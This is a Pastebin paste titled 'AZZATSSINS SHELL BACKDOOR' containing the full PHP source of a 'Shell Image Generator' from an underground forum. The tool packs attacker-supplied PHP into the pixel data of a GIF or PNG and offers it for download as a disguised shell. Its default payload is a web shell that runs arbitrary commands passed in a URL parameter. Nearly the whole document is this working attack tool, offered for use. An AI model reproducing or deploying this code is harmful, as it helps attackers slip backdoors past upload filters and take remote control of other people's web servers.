Ribang

AZZATSSINS SHELL BACKDOOR

Jun 29th, 2018
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.50 KB | None | 0 0
  1.  
  2. <?php
  3. /*AZZATSSINS*/
  4.  
  5. session_start();
  6.  
  7. if(isset($_POST['scripts']))
  8. {
  9. if((strlen($_POST['scripts']) > 20) && (strlen($_POST['scripts']) < 6000))
  10. {
  11. @$_SESSION["scripts"] = base64_encode(@$_POST['scripts']);
  12. @$_SESSION["image"] = $_POST['image'];
  13. header("Location: ?set");
  14. }else{
  15. die('
  16. <script type="text/javascript">
  17. alert("minlength:20 and maxlength:6000")
  18. window.location = "?";
  19. </script>'
  20. );
  21. }
  22. }
  23.  
  24. if(isset($_POST['reset']))
  25. {
  26. $_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
  27. $_SESSION["image"] = "jpg";
  28. header("Location: ?null");
  29. }
  30.  
  31. /**
  32. if((empty($_COOKIE['scripts'])) || ($_COOKIE['scripts'] == '') || ($_COOKIE['scripts'] == null))
  33. {
  34. $_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
  35. $_SESSION["image"] = "jpg";
  36. header("Location: ?null");
  37. }
  38. */
  39. $string = @base64_decode(@$_SESSION['scripts']);
  40. $imageExt = trim(strtolower(@$_SESSION['image']));
  41.  
  42. if(isset($_GET['preview']))
  43. {
  44. $string = "\r\n".$string."\r\n<!-- \r\n\r\nShell Image Generator by Forum.ExploreCrew.Org\r\n\r\n";
  45. ;
  46. $px = ((int)(strlen($string) / 3));
  47. $arr_string = str_split($string,$px);
  48. $im = @imagecreate(($px),($px)) or die("Cannot Initialize new GD image stream");
  49. $arrString = array();
  50. for($h = 0; $h < ($px); $h++)
  51. {
  52. $arrString = @$arr_string[$h];
  53. $current = 0;
  54. for($w = 0; $w < ($px); $w++)
  55. {
  56. if((@$arrString[$current + 0] != '') && (@$arrString[$current + 1] != '') && (@
  57. $arrString[$current + 2] != ''))
  58. {
  59. $color_r = dechex(ord(@$arrString[$current + 0]));
  60. $color_g = dechex(ord(@$arrString[$current + 1]));
  61. $color_b = dechex(ord(@$arrString[$current + 2]));
  62. $current = $current + 3;
  63.  
  64. $color = @imagecolorallocate($im,"0x$color_r","0x$color_g","0x$color_b");
  65. imagesetpixel($im,$w,$h,$color);
  66. }
  67. }
  68. }
  69.  
  70. //header("Content-Type: image/png");
  71. switch(trim($imageExt))
  72. {
  73. case "gif":
  74. imagegif($im,null);
  75. break;
  76. case "png":
  77. imagepng($im,null);
  78. break;
  79. }
  80.  
  81. if(isset($_GET['download']))
  82. {
  83. header('Content-Disposition: attachment; filename="shell.'.$imageExt.'"');
  84. }
  85.  
  86. imagedestroy($im);
  87. die();
  88. }
  89. $download = sha1(rand(0,999)).'.'.$imageExt;
  90. echo '<!DOCTYPE HTML>';
  91. echo '<html>';
  92. echo '<head>';
  93. echo '<meta http-equiv="content-type" content="text/html" />';
  94. echo '<meta name="author" content="ExploreCrew UnderGround" />';
  95. echo '<title>SHELL IMAGE GENERATOR</title>';
  96. echo '<style type="text/css">';
  97. echo 'article{color:#aaa;margin: auto; position: relative;width:80%; border: 1px solid #eee;padding: 5px;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
  98. echo 'div textarea,div select{ float: right;width:60%; font-size:1.0em;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
  99. echo 'div input{ text-shadow: #333 0px 1px;color:#aaa; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
  100. echo 'div input:hover{ text-shadow: #333 0px 1px;color:#000; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
  101. echo 'div label{ color:#aaa;float: left;display:block; height:20px; font-size:1.0em;width:auto;}';
  102. echo 'fieldset { background-color: #f8f8f8;width:auto;height:auto;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
  103. echo 'textarea {height:125px;}';
  104. echo 'legend {color:#333;text-shadow: #888 0px 1px;}';
  105. echo 'form div {height:20px; clear:both; margin-bottom:6px; padding:5px 0px;}';
  106. echo 'h3,h5 {text-align:center}';
  107. echo '</style>';
  108. echo '</head>';
  109. echo '<body>';
  110. echo '<article>';
  111. echo '<h3>..:: SHELL IMAGE GENERATOR ::..</h3>';
  112. echo '<h5>Free Tool by <a href="http://forum.explorecrew.org">Viva ExploreCrew</a></h5>';
  113. echo '<form method="post" action="" enctype="multipart/form-data">';
  114. echo '<fieldset>';
  115. echo '<legend>SHELL</legend>';
  116. echo '<div><label for="scripts">Yours Scripts</label><textarea name="scripts" id="scripts" maxlength="6000">'.
  117. htmlentities($string).'</textarea></div>';
  118. echo '<div>';
  119. echo '<label for="image">Mime Type</label>';
  120. echo '<select size="1" name="image">';
  121. echo '<option value="gif">image/gif</option>';
  122. echo '<option value="png">image/png</option>';
  123. echo '</select>';
  124. echo '</div>';
  125. echo '<div><input type="submit" value="Reset" name="reset" id="generate"/><input type="submit" value="Generate" name="generate" id="generate"/></div>';
  126. echo '</fieldset>';
  127. echo '</form>';
  128. echo '<fieldset>';
  129. echo '<legend>YOUR SHELL IMAGE</legend>';
  130. echo '<div></div>';
  131. echo '<div><a href="?preview='.$download.'&download">Download</a></div>';
  132. echo '</fieldset>';
  133. echo '<small>Free Tool by <a href="http://forum.explorecrew.org">Viva ExploreCrew, Coded by BlueBoyz, Fixed Jei.Free.</a><small>';
  134. echo '</article>';
  135.  
  136. echo '</body>';
  137. echo '</html>';
  138. ?>
Add Comment
Please, Sign In to add comment